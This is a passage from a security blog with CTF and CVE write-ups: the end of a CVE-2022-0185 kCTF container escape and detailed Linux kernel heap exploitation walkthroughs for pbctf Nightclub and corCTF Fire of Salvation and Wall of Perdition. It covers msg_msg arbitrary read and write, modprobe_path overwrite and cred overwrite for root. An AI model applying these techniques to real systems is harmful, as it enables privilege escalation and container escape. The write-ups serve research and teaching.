close(pipefd[i][</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]);
close(pipefd[i][</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]);
}
}</span></p></div><p>To find the other container’s flag, I just bruteforced
/proc/pid/root/flag/flag as the container’s pid will map to some other
pid accessible from the root pid namespace. You can also just work with a
root shell, but this is just more efficient for getting the flag.
Google’s Kubernetes CTF infrastructure compromised! You can find the
link to our final exploit here: <a href="https://github.com/Crusaders-of-Rust/CVE-2022-0185/blob/master/exploit_kctf.c">https://github.com/Crusaders-of-Rust/CVE-2022-0185/blob/master/exploit_kctf.c</a>.</p><p>
</p><p>All in all this was a really cool experience, finding a 0 day for the
first time on a major project and exploiting it. I’d like to thank all
the teammates I worked with above for our collaborative effort. I would
also like to thank the security teams from both distros and Linux for
being super responsive upon our disclosure, and Google for the generous
reward. Feel free to ask me any questions about this writeup, or point
out anything that is explained erroneously! Let’s see what other bugs my
team and I can find this year, and hopefully we don’t hit another bug
collision again.</p>Unknownnoreply@blogger.com13tag:blogger.com,1999:blog-8814147965526194982.post-38663784662192244522021-10-10T17:52:00.009-07:002021-10-10T22:52:23.414-07:00pbctf 2021 Nightclub Writeup: More Fun with Linux Kernel Heap Notes!<p>This weekend, I played with DiceGang in pbctf 2021 and we ended up placing 1st. There were so many cool (and absolutely insane) challenges, but school was really busy so I was unable to play as much as I liked. However, I still worked on some challenges and solved the kernel pwnable NightClub by IKEA with <a href="https://twitter.com/owenflannagan1" target="_blank">noopnoop</a>, and thought it would be nice to make a writeup about it. Feel free to let me know if anything is unclear or incorrect.</p><p>In some of our initial analysis, we notice that SMAP, SMEP, and KASLR are turned on, and we are on version 5.14.1. In terms of important kernel hardening options, the SLUB allocator is used without randomization or hardening, and usercopy is not hardened; userfaultfd was disabled as well (but didn't really matter as unprivileged userfaultfd has been disabled by default since 5.11). The nightclub driver itself was a generic character device, and can be interfaced with via ioctls. </p><p>In this driver, there are two main structs: a user request struct and the note struct itself. The note struct in kernel land itself was 0x80 in size, placing it under the kmalloc-128 slab, and a lot of useless padding was placed throughout just to make it more difficult for players to exploit.</p><p><script src="https://gist.github.com/BitsByWill/c0bccaf91765af01153a65eef273f3fd.js?file=structs.h"></script></p><p>Four functions are also provided. If you make an ioctl request with 0xcafeb001, an allocation is made. You specify the size of data to copy in (which is capped up to 0x20), and an offset and 0x10 bytes of “special” data to copy in (both of which is never used again for some reason). The kernel also generates 4 random bytes for the key to store in the note, and returns it to the user. After setting up the struct, it is linked into a doubly linked list with the head located in the module data section with the symbol “master_list." When copying data over, alloc sets a null byte at note->data[size], leading to a trivial null byte poisoning bug.<br /><br />An ioctl request with 0xcafeb002 triggers a deletion. The user specifies a key to delete a specified note from the list. The driver unlinks it and sets the pointers of the note itself to poison constants before freeing. Edit allows you to specify a key, data, size, and a offset (which is capped at 0x10). This leads to a trivial heap overflow and also has a poison null byte bug afterwards.<br /><br />Note that in all the functions above, the note pointers during linked list traversal or kmalloc return are checked to be in range of a few constants. Noopnoop and I didn't dig too deeply and aren't completely sure, but just assumed those acted as a pseudo "address sanitizer."<br /><br />Lastly, 0xcafeb004 is a “leak” function. It just leaks the difference between the addresses of edit_ioctl in the module and __kmalloc from the kernel text itself. While information from <a href="https://www.mdpi.com/2079-9292/10/17/2174/html" target="_blank">this paper</a> and page about <a href="https://www.kernel.org/doc/Documentation/x86/x86_64/mm.txt" target="_blank">Linux memory mappings</a> show that kernel text and modules have known regions (and the first only has 9 bits of entropy with KASLR and the latter only has 10 bits), the difference still doesn't provide us with enough information to avoid bruteforcing, which isn't feasible with remote POW.<br /><br />Without SLAB randomization or hardening, this challenge should be pretty trivial with the overflow right?</p><p>Sadly, the answer was no. Not only was there no easy way to achieve leaks in this driver, but in recent Linux kernel versions, the freelist pointer in SLUB chunks have been moved into the middle of chunks (so a 0x10 byte overflow cannot reach it in kmalloc-128 chunks). In our case, it is at offset 0x40 upon freeing. We could also attempt to attack via msg_msg structure, but arb write would be quite difficult without userfaultfd, and we cannot hit the size and next fields (located at offset 0x18 and 0x20). There is also lack of well documented structs for exploitation in kmalloc-128. <a href="https://elixir.bootlin.com/linux/v5.14.1/source/include/linux/umh.h#L19" target="_blank">subprocess_info</a> used to be in this slab, but has since moved to kmalloc-96; I went through both of these papers (<a href="http://www.personal.psu.edu/yxc431/publications/SLAKE.pdf" target="_blank">paper 1</a>, <a href="http://xinyuxing.org/pub/ccs20clx.pdf" target="_blank">paper 2</a>) and was not able to find a useful struct given our overflow limits.</p><p>Our first breakthrough was noopnoop's heap massage. He massaged the heap in the following manner to achieve a UAF chunk in the linked list.<br /><br />First, we want to create a linked list chain of consecutive chunks in the following order (only the arrow in the direction of traversal is showed for simplicity's purposes, but keep in mind that it is a doubly linked list).</p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-QuYxtfiJRzk/YWN4EUusHyI/AAAAAAAACJU/mF7E5NlWBEQQlMjSphanaHKRnwmRor-MQCLcBGAsYHQ/s653/pic1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="507" data-original-width="653" height="496" src="https://1.bp.blogspot.com/-QuYxtfiJRzk/YWN4EUusHyI/AAAAAAAACJU/mF7E5NlWBEQQlMjSphanaHKRnwmRor-MQCLcBGAsYHQ/w640-h496/pic1.png" width="640" /></a></div><p>
Then we poison null byte the next pointer of the second chunk, causing the next pointer to now point to chunk III.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-WwMdXyLoBRY/YWN4OXDediI/AAAAAAAACJY/PyNnDYXnyB06LlxVYKJBd6c4QbI4zwMoQCLcBGAsYHQ/s674/pic2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="539" data-original-width="674" height="512" src="https://1.bp.blogspot.com/-WwMdXyLoBRY/YWN4OXDediI/AAAAAAAACJY/PyNnDYXnyB06LlxVYKJBd6c4QbI4zwMoQCLcBGAsYHQ/w640-h512/pic2.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: left;">
</div><div class="separator" style="clear: both; text-align: left;">Upon freeing the third, we will have UAF capabiltiies.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-rG2qFs6A-Es/YWN4XM56IRI/AAAAAAAACJg/gcBQS-HYIgwhM9fTyf6xmjHIz7T3TZSogCLcBGAsYHQ/s693/pic3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="544" data-original-width="693" height="502" src="https://1.bp.blogspot.com/-rG2qFs6A-Es/YWN4XM56IRI/AAAAAAAACJg/gcBQS-HYIgwhM9fTyf6xmjHIz7T3TZSogCLcBGAsYHQ/w640-h502/pic3.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Even with this massage, there is not much you can do due to the nature of where we can write. Double freeing would impose new issues because of the poison pointers set from unlinking (we do not have leaks to overwrite them with valid pointers). A brief idea we had was to replace the UAF chunk with a msg_msg object, and link it into another slab; then by adding more msg_msg objects of different sizes, we can have the driver's linked list traversal end up in another slab. However, this was unfeasible at this point because we cannot apply this to overwrite other chunks in larger slabs, so the only option was to target kmalloc-64 with this technique (we did not know that kmalloc-96 existed at this point), but the writeable offsets combined with the chunk alignment made it difficult to find a structure to target properly. <br /><br />Our second breakthrough came once I realized that kmalloc-96 existed (we somehow both thought it didn't exist); I guess the moral of the story here is to always check /proc/slabinfo. With this knowledge, we managed to solve pretty quickly via the following methodology. <br /><br />First ,we performed the same heap massage mechanism to achieve a freed chunk in a linked list. Then, we replaced that chunk with a msg_msg object in the kmalloc-128 slab, and added two more msg_msg objects in the kmalloc-96 slab. This way, you get msg_msg objects (along with the msg_queue in kmalloc-64) linked into your list.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-s3w3IPS2TNA/YWOXSzIB0qI/AAAAAAAACKM/w3jPYgYaCNMP4qnyo0FP1q3QhF51JcCLQCLcBGAsYHQ/s826/pic4.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="435" data-original-width="826" height="338" src="https://1.bp.blogspot.com/-s3w3IPS2TNA/YWOXSzIB0qI/AAAAAAAACKM/w3jPYgYaCNMP4qnyo0FP1q3QhF51JcCLQCLcBGAsYHQ/w640-h338/pic4.png" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: left;">Since we control the contents of the msg_msg object over where the key is stored in the note structs, we can easily lead the driver to find the location we want. Due to the misaligned nature between 0x60 sized objects and 0x80 objects, we can perfectly align the OOB writes with offsets to change the size field of the second msg_msg object in kmalloc-96 as I discussed in my <a href="https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html" target="_blank">last post</a>. Now, we can allocate a subprocess_info struct by triggering <a href="https://elixir.bootlin.com/linux/v5.14.1/source/kernel/umh.c#L358" target="_blank">call_usermodehelper_setup</a> from module autoloading, which as many <a href="https://duasynt.com/blog/cve-2016-6187-heap-off-by-one-exploit" target="_blank">previous research posts</a> have been discussed, can just be triggered with socket(22, AF_INET, 0);<br /><br />Take note that the offset write is really important. If you just do a generic overflow, you will end up corrupting msg_msg pointers. This kernel did not have the checkpoint_restore option compiled in, so MSG_COPY will not work, and any attempt to unlink without known kernel addresses will lead to a panic. Now, if we message receive from our queue, we can achieve kernel leaks!</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-a-XCa55SFuk/YWOXX_r-9II/AAAAAAAACKQ/bXk6fVM8GWgrNSbGp6MNngb3FBVnkGSPACLcBGAsYHQ/s844/pic5.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="424" data-original-width="844" height="322" src="https://1.bp.blogspot.com/-a-XCa55SFuk/YWOXX_r-9II/AAAAAAAACKQ/bXk6fVM8GWgrNSbGp6MNngb3FBVnkGSPACLcBGAsYHQ/w640-h322/pic5.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">Now, with a leak, the most direct approach is to achieve a UAF overlap as done previously, create a double free, and freelist poison to modprobe_path to bypass SMAP. I sprayed a lot more chunks to help me reach a cleaner region, and then redid the same unlinking approach. However, after freeing chunk 3, I used chunk 2 to overflow into chunk 3 and fix its pointers to go back to the master_list. This way, upon the next free, we will not have a kernel panic. The address for master_list can be trivially calculated after a kernel leak combined with the 4th ioctl option.<br /><br />We now freed another chunk in kmalloc-128 (I saved a msg_msg object in another msg_queue for this), then freed the UAF'd note in our linked list again. With the LIFO behavior of the kernel allocator, I allocated a new msg_msg object, overwrote the freelist pointer with modprobe_path, allocated 2 more messages, and finally allocated a new msg_msg object to then overwrite modprobe. Any attempt to execute an invalid executable will trigger the kernel execution of the program specified in modprobe_path, effectively giving us RCE with root privileges.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Here's the final exploit with comments:</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><script src="https://gist.github.com/BitsByWill/c0bccaf91765af01153a65eef273f3fd.js?file=exploit.c"></script></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">And here's our success on remote!</div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-2u4-7LQWnnE/YWOTVUF-pYI/AAAAAAAACKE/48tKT4ybogcG7joHz7fvhKkVhuPMTnOrwCLcBGAsYHQ/s600/nightclub.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="393" data-original-width="600" height="420" src="https://1.bp.blogspot.com/-2u4-7LQWnnE/YWOTVUF-pYI/AAAAAAAACKE/48tKT4ybogcG7joHz7fvhKkVhuPMTnOrwCLcBGAsYHQ/w640-h420/nightclub.gif" width="640" /></a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Afterwards, I talked to the author and another player (pql) and discovered that noopnoop and I completely unintended this challenge. We just assumed that a limited OOB combined with a poison null byte was enough. The sections of the code that we brushed aside (and labeled a pseudo ASAN) actually provided a primitive to bruteforce and probe for both kernel and module base via partial overwrites on a given chunk's prev address.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Overall, I had a lot of fun with pbctf and working with noopnoop and the rest of DiceGang. I am definitely looking forwards to pbctf 2022, and hope I have more time next year to play even more challenges! </div><br /><p><br /></p>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-8814147965526194982.post-54462021286157862542021-08-26T15:56:00.034-07:002021-08-27T19:53:54.945-07:00corCTF 2021 Fire of Salvation Writeup: Utilizing msg_msg Objects for Arbitrary Read and Arbitrary Write in the Linux Kernel<p>In corCTF 2021, <a href="https://syst3mfailure.io/">D3v17</a> and I wrote two kernel challenges utilizing a technique that is novel at least to our knowledge to gain arb read and arb write in kernel land: Fire of Salvation and Wall of Perdition. A famous kernel object often abused for heap sprays is the msg_msg struct, which is an elastic kernel object meant for IPC purposes (System V message queues) that has a size ranging from the kmalloc 64 to the kmalloc 4k. There was also a recent <a href="https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html">CVE exploit writeup</a> by Linux kernel developer and security researcher Alexander Popov in which he abused msg_msg for arb read in his exploit for CVE-2021-26708. D3v17 and I read this, and posed the question to ourselves, is it possible to achieve arbitrary write in this across any valid slab for msg_msg? After a week or two of digging around, not only did we discover a way to achieve arb write on kmalloc 4k slabs, but we also discovered a way to do this for any valid msg_msg slab. In this post, I'll detail the Fire of Salvation writeup, which covers arb write on kmalloc 4k slabs. I'll also provide a tldr with the insights for any valid msg_msg arb write with a summary of my approach for the second challenge, but D3v17 will detail that out in <a href="https://syst3mfailure.io/wall-of-perdition" target="_blank">his post for Wall of Perdition</a>. Since this writeup is quite long, feel free to let me know of any unclear explanations or mistakes.</p>
<br />In this challenge, the following key protections were enabled on a 5.8 kernel: FG-KASLR, SLAB_RANDOM, SLAB_HARDENED, and STATIC_USERMODE_HELPER. The SLAB allocator was also being used, with a corresponding kernel.config file provided with all the extra other tidbits and miscellaneous hardening options (such as enabling the userfaultfd syscall, hardened_usercopy, CHECKPOINT_RESTORE, etc.). SMAP, SMEP, and KPTI being on was a given. Also, since our goal was to introduce players to a novel exploitation technique, we didn't really care much about the reversing procedure to find a bug, and didn't want to complexify the bug. In our discussions, we decided to just make the bug a pretty obvious UAF that limits them to around 0x28 to 0x30 of UAF write. (no UAF read). This was the source we provided to all the players (we were also nice enough to give out a vmlinux with debug symbols and structs):<div><br /></div><div><script src="https://gist.github.com/BitsByWill/cf23c13d4a1d345b557a157740e191fe.js?file=firewall.c"></script></div><div><br /></div><div>To summarize, a simple firewall driver was created, with a separate array for inbound rules and outbound rules (confined to ipv4). From userland, people can interact with the netfilter hooks via a misc device, using the user_rule_t struct, which gets transfered to the rule_t struct to go into the kmalloc-4k slab. Each rule is allocated in the array via kzalloc, and contains information about rule name, interface name, IP address, port, the action to take, the protocol (TCP or UDP), a duplication flag, and a large buffer for description which one cannot modify after allocating it. Most of these fields have validity checks (actions are only limited to DROP or ACCEPT), and add, edit, and delete rule are both safe. The only bug is in duplicate, which duplicates a rule from inbound to outbound or vice versa; an obvious UAF scenario occurs when you duplicate a rule from array 1 to array 2, and then delete it from one array without deleting it from the other.<br /><br />Exploitation wise, there are a few serious roadblocks that would prevent common exploit paths and necessitate the need for good arb read and arb write primitivies. The fact that it is using the SLAB allocator means that no freelist pointer will be on the chunks themselves (and even if they were, they probably won't be within the 0x30 UAF region as the Linux kernel have moved them down for certain slabs). FG-KASLR will complicate the ability to overwrite function pointers (such as the one on the sk_buff struct's destructor arg callback in the CVE writeup), as most gadgets not in the earlier parts of .text will be affected; ROP is still possible, but I believe that would entail first arb reading the ksymtab for the function for whichever the gadget is relative to. Lastly, with <a href="https://elixir.bootlin.com/linux/v5.8/source/kernel/umh.c#L393">STATIC_USERMODE_HELPER</a> (and its path set to “”), the classic SMAP bypasses of targeting modprobe_path or core_pattern no longer work. The path itself is now located in a read only section of the kernel according to readelf. At this point, the most direct way to then bypass SMAP is to probably arb read the doubly linked list of task structures to find the current task, and overwrite the cred pointer to one that would give us root privileges. A physmap spray would be another common approach, but that's just painful.<br /><br />Do note again that the vulnerability only gives a small window of UAF write, without UAF read. Once you allocate a few chunks to help smooth out the SLAB shuffling on the current slab, we can begin the exploitation procedure. Let's first take a detour into msg_msg (these <a href="https://man7.org/linux/man-pages/man2/msgop.2.html">manpages</a> can be quite helpful). I do consistently use the IPC_NOWAIT option to avoid hangs and a msgtyp of zero to pull from the front of the msg_queue. For reference, here is the <a href="https://elixir.bootlin.com/linux/v5.8/source/include/linux/msg.h#L9">msg_msg struct</a>:</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/cf23c13d4a1d345b557a157740e191fe.js?file=msg_msg_struct.h"></script></div><div><br /></div><div>
In our case, the security pointer will always be null, since there is no SELinux.<br /><br />Looking at <a href="https://elixir.bootlin.com/linux/v5.8/source/ipc/msg.c#L840">do_msgsnd</a>:</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/cf23c13d4a1d345b557a157740e191fe.js?file=do_msgsnd.c"></script></div><div><br /></div><div>Before enqueing this msg onto the specified message queue, <a href="https://elixir.bootlin.com/linux/v5.8/source/ipc/msgutil.c#L84">load_msg</a> is called to usercopy data into the chunk.</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/cf23c13d4a1d345b557a157740e191fe.js?file=load_msg.c"></script></div><div><br /></div><div>Note how it calls <a href="https://elixir.bootlin.com/linux/v5.8/source/ipc/msgutil.c#L46">alloc_msg</a> to allocate space on the kernel heap for the incoming message beforehand.</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/cf23c13d4a1d345b557a157740e191fe.js?file=alloc_msg.c"></script></div><div><br /></div><div>msg_msgseg is simply a struct that has a next pointer with data following immediately afterwards. Both DATALEN_MSG and DATALEN_SEG are basically page size minus the size of their respective structs, so their maximum size fits exactly in the kmalloc 4k slabs. Once you send in larger messages, a linked list is created. The maximum size of a message is determined by /proc/sys/kernel/msgmax, and its default is 8192 bytes (so you can get a linked list of 3 elements at most). <br /><br />Now, let's take a look at <a href="https://elixir.bootlin.com/linux/v5.8/source/ipc/msg.c#L1090">do_msgrcv</a>:<script src="https://gist.github.com/BitsByWill/cf23c13d4a1d345b557a157740e191fe.js?file=do_msgrcv.c"></script></div><div><br /></div><div>If MSG_COPY flag is set (which is availble with CONFIG_CHECKPOINT_RESTORE), it calls prepare_copy, which is just a wrapper around load_msg to prepare a copy (interestingly enough, doesn't using that make it also usercopy whatever is in the userland buffer for recieving into the allocated copy first?). Without that flag, it simply traverses the queue and will unlink the msg after finding it with find_msg. Otherwise an unlink doesn't happen. <a href="https://elixir.bootlin.com/linux/v5.8/source/ipc/msgutil.c#L118">copy_msg</a> is called, and data is transferred to the copy via a memcpy (note the memcpy, this is very important!).</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/cf23c13d4a1d345b557a157740e191fe.js?file=copy_msg.c"></script></div><div><br /></div><div>If no errors have happened yet, it reaches the msg_handler call, which is actually do_msg_fill if you trace the code path from the call to do_msgrcv. <a href="https://elixir.bootlin.com/linux/v5.8/source/ipc/msg.c#L1018">do_msg_fill</a> is basically a wrapper around
<a href="https://elixir.bootlin.com/linux/v5.8/source/ipc/msgutil.c#L150">store_msg</a>, which does the following:</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/cf23c13d4a1d345b557a157740e191fe.js?file=store_msg.c"></script></div><div><br /></div><div>Basically, it traverses the linked list structure of the msg_msg object, and uses usercopy to bring the desired message back to userspace. Then, do_msgrcv calls <a href="https://elixir.bootlin.com/linux/v5.8/source/ipc/msgutil.c#L169">free_msg</a>, which frees the linked list structure in order (starting from head, then next, etc.).<br /><br />Now, let us think about abusing a UAF over these elastic objects for arb read and arb write. By modifying the next pointer or the size, arb read via msg_msg should be quite trivial, except for the fact that unlinking it from the queue (unless you can somehow skip modifying the first few qwords which you can't in this challenge) would destroy it. You can try to modify size so maybe it can leak more data from the next segment of the msg_msg object, but hardened usercopy would stop you dead in your tracks. However, this is where MSG_COPY comes into play. Not only does it not unlink your message, but it also uses memcpy for the initial copying of data! So now, we can happily modify the next pointer and change the m_ts field. This technique has already been documented in Popov's CVE writeup. The only restriction is that your next segment has to start with a null qword to avoid kernel panics or having it go somewhere you do not want it to go to.<br /><br />How would we approach arb write then? This is where every Linux kernel exploit developer's good friend userfaultfd comes back (rip to the new unprivileged userfaultfd settings from 5.11 and forwards). During the msgsnd process, if you manage to have a UAF over the first part of the msg_msg object, you can have it copy over data for a message request that requires more than just one allocation. Then, if you abuse userfaultfd to hang the copy right before it pulls the value of the next pointer (such as when it's a few bytes away from copying everything into the first chunk), you can use the UAF to change this next pointer, and you can achieve arbitrary write once you release the hang! Of course, just like arb read, this requires the target region to start with a null qword. To make this clearer, take a look at the following diagram:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-izQijq0j-lI/YSfvHKSIK2I/AAAAAAAACH8/mBElL4uaDmYslUsEgGbwc7gDdAJzpjNtQCLcBGAsYHQ/s1085/1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="694" data-original-width="1085" height="409" src="https://1.bp.blogspot.com/-izQijq0j-lI/YSfvHKSIK2I/AAAAAAAACH8/mBElL4uaDmYslUsEgGbwc7gDdAJzpjNtQCLcBGAsYHQ/w640-h409/1.png" width="640" /></a></div><br /><div>Now with an understanding of both primitives, what will the exploitation path be from where we left off? Well, as I discussed in my <a href="https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html">hashbrown writeup</a> from diceCTF, to get a kernel base leak with FG-KASLR on, we need to rely on pointers into kernel data as those are not affected. It's as simple as just spraying a ton of shm_file_data objects in kmalloc-32 (which has pointers to kernel data such as in the init_ipc_ns field), and allocate a msg_msg such that it will take up a 4k slab and a kmalloc-32 slab as its next segment that is under our UAF's control. Then we can expand the size (without causing it to traverse more than once), and use MSG_COPY to get a OOB read in the kmalloc 32 slabs and achieve leaks. Of course, before we do that, we have to make sure our data sent via the ioctl follows the format (ip, netmask, etc.), but that is trivial to implement. </div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-XzR1Uw1zDT4/YSfwFUxd8RI/AAAAAAAACIE/FxGT0dVNwRIYEJ2YIakaN6kjqXTEv7H2ACLcBGAsYHQ/s1083/2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="707" data-original-width="1083" height="418" src="https://1.bp.blogspot.com/-XzR1Uw1zDT4/YSfwFUxd8RI/AAAAAAAACIE/FxGT0dVNwRIYEJ2YIakaN6kjqXTEv7H2ACLcBGAsYHQ/w640-h418/2.png" width="640" /></a></div><br /><div>Then, we can re-abuse this arb read to read the task_struct linked list starting from init_task. Since our exploit is probably the latest process running on a generally idle qemu system, we can just walk from prev and hit our task_struct pretty quickly. While a normal trick to find offsets in task_struct is to use prctl SET_NAME to set the comm member (as ptr-yudai detailed in his <a href="https://ptr-yudai.hatenablog.com/entry/2021/07/26/225308" target="_blank">Google CTF Quals 2021 Fullchain writeup</a>), we provided vmlinux with debugging symbols and structs. The task doubly linked list is located at an offset of 0x298, with a consistently null qword beforehand, the pid is at offset 0x398 (which is close enough for this region to be treated as a single msg segment), while the real_cred and cred pointers are at offset 0x538 and 0x540, also luckily with a nice null qword beforehand. </div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-Y-YqvmgaX1U/YSggQhwb5pI/AAAAAAAACIc/leKw-FMmY_8TuX-rqv_H0Get2kT3NFEEACLcBGAsYHQ/s1121/3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="745" data-original-width="1121" height="426" src="https://1.bp.blogspot.com/-Y-YqvmgaX1U/YSggQhwb5pI/AAAAAAAACIc/leKw-FMmY_8TuX-rqv_H0Get2kT3NFEEACLcBGAsYHQ/w640-h426/3.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div>Once we find the current process based on the pid in task structs, we can just arb write to the real_cred and cred pointer, replacing them with init_cred and effectively pwning the system.</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-MhE76o_slr0/YSfwYpL-e-I/AAAAAAAACIQ/-ThXZ-1XlH4-hQJzKbxsJazF73c8g_SWQCLcBGAsYHQ/s1121/4.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="704" data-original-width="1121" height="402" src="https://1.bp.blogspot.com/-MhE76o_slr0/YSfwYpL-e-I/AAAAAAAACIQ/-ThXZ-1XlH4-hQJzKbxsJazF73c8g_SWQCLcBGAsYHQ/w640-h402/4.png" width="640" /></a></div><br /><div>Here is my exploit for reference:</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/cf23c13d4a1d345b557a157740e191fe.js?file=fire_exploit.c"></script></div><div><br /></div><div>With this exploit, you can reliably pop a root shell and allow us to read the flag:</div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-Nrflk6NKTas/YSh7G7e2rcI/AAAAAAAACIs/OJ9-4KKtQToyh-6_LlU84vcNDWiHy-JbwCLcBGAsYHQ/s730/easy_mode.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="476" data-original-width="730" height="418" src="https://1.bp.blogspot.com/-Nrflk6NKTas/YSh7G7e2rcI/AAAAAAAACIs/OJ9-4KKtQToyh-6_LlU84vcNDWiHy-JbwCLcBGAsYHQ/w640-h418/easy_mode.gif" width="640" /></a></div><div><br /></div><div>For some reason, musl wasn't working well with threads on the qemu, so I had to use gcc static. Luckily, upx packer managed to cut the size down by more than 60%, though that is still much larger than a musl compiled exploit. Congratulations to <a href="https://github.com/MaherAzzouzi">Maher</a> for taking the unofficial post-CTF first blood on this challenge. A shout-out goes to team SuperGuesser as well, I heard they were quite close to solving during the CTF as well.<br /><br />As for the Wall of Perdition challenge, I will only provide a brief summary of my solution, which I believe might slightly differ from D3v17's. His post on this part will be much more detailed, with many more diagrams to come. <br /><br />In this second part, the sizes are limited to kmalloc-64; I wasn't aware of any commonly known abusable structures in this range. While arb read is still quite trivial thanks to MSG_COPY, using it to get a kernel base leak with FG-KASLR is not as easy. Arb write becomes even harder as well. </div><div><br /></div><div>To get the same shm_file_data kernel leak, I first allocated two message queues, and I would like to find the address of one of them (I will call this one front queue). Finding its address is easy, as we can just spray msg_msg structs in the same queue (beware that there is a limit set by /proc/sys/kernel/msgmnb that defaults to 16384 bytes total per queue), and abuse OOB read via MSG_COPY to check for known msg_msg contents from the spray. </div><div><br /></div><div>This leak will be useful to avoid crashes and prematurely stop the traversal in the msg_msg queue linked list during do_msgrcv when MSG_COPY isn't set. Then I sprayed more msg_queue allocations, and sent in a message for each, as I am trying to look for a message and queue I can reach with the OOB read from the front queue in kmalloc 64 slabs. From here, I can send in a msg_msg object that chains a 4k chunk with a kmalloc 32 chunk into this target queue, and leak its address based on OOB reading the linked list structures of its previous kmalloc 64 msg_msg object. </div><div><br /></div><div>At this point, we have to pray that the qword before that 4k chunk is null. If so, replacing the next pointer of the UAF'd chunk in the front queue to that location will allow us to get the address of the kmalloc 32 chunk. After spraying many more shm_file_data objects, we can just expand the msg_msg struct under our UAF's control to a much larger size, replace this very object's next pointer to the address of the kmalloc 32 chunk, and just dump huge portions of the kmalloc 32 with MSG_COPY for a kernel base leak. From here on out, arb reading the task struct to find the current struct is pretty much the same as in the previous exploit.<br /><br />Now, for arb write, I reused the target queue earlier, cleared the large msg out from it, and replaced it with a msg_msg object that has two 4k chunks in its chain (this is getting quite close to the default msg_msg size limit). I can abuse the previous technique to then leak the address of this new 4k msg_msg object along with the address of its msg segment. Then, I freed this large object with msgrcv (and we will get them back in the order of leaked segment address and then the leaked msg_msg object due to LIFO). I msgsnd again a size of a message that requires two 4k chunks, and hang it with userfaultfd on load_msg, and quickly arb free its segment via the msg_msg under UAF control in the front queue via msgrcv. No crashes will occur since I fixed its pointers to go right back to the front queue itself.<br /><br />Upon this arb free primitive, I send another message in another message queue that was previously allocated; it will also be hanged when reading in userland data. The object will just be of enough size to cover a 4k chunk (to get back the last freed chunk due to LIFO) chained with a small segment linked along. I let the data transfer from the original hang to continue, which gives me the ability to overwrite the next pointer of the currently allocated msg_msg object, thereby giving me arb write once I let this second hang continue and finish off. This might seem quite insane, but I promise you that <a href="https://syst3mfailure.io/wall-of-perdition" target="_blank">D3v17's blogpost</a> will make this quite clear with his diagrams.<br /><br />Here is my final exploit, which only had about a 50% success rate.</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/cf23c13d4a1d345b557a157740e191fe.js?file=wall_exploit.c"></script></div><div>Running this remotely should eventually give us root privs and the flag:</div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-5Pr_U6KILvM/YSh6-vJT03I/AAAAAAAACIo/zgLEfxCmsJk9rKcA3-JayA8PXpZzNxyQgCLcBGAsYHQ/s764/hard_mode.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="588" data-original-width="764" height="492" src="https://1.bp.blogspot.com/-5Pr_U6KILvM/YSh6-vJT03I/AAAAAAAACIo/zgLEfxCmsJk9rKcA3-JayA8PXpZzNxyQgCLcBGAsYHQ/w640-h492/hard_mode.gif" width="640" /></a></div><div><br /></div><div>Congratulations to <a href="https://github.com/jifill" 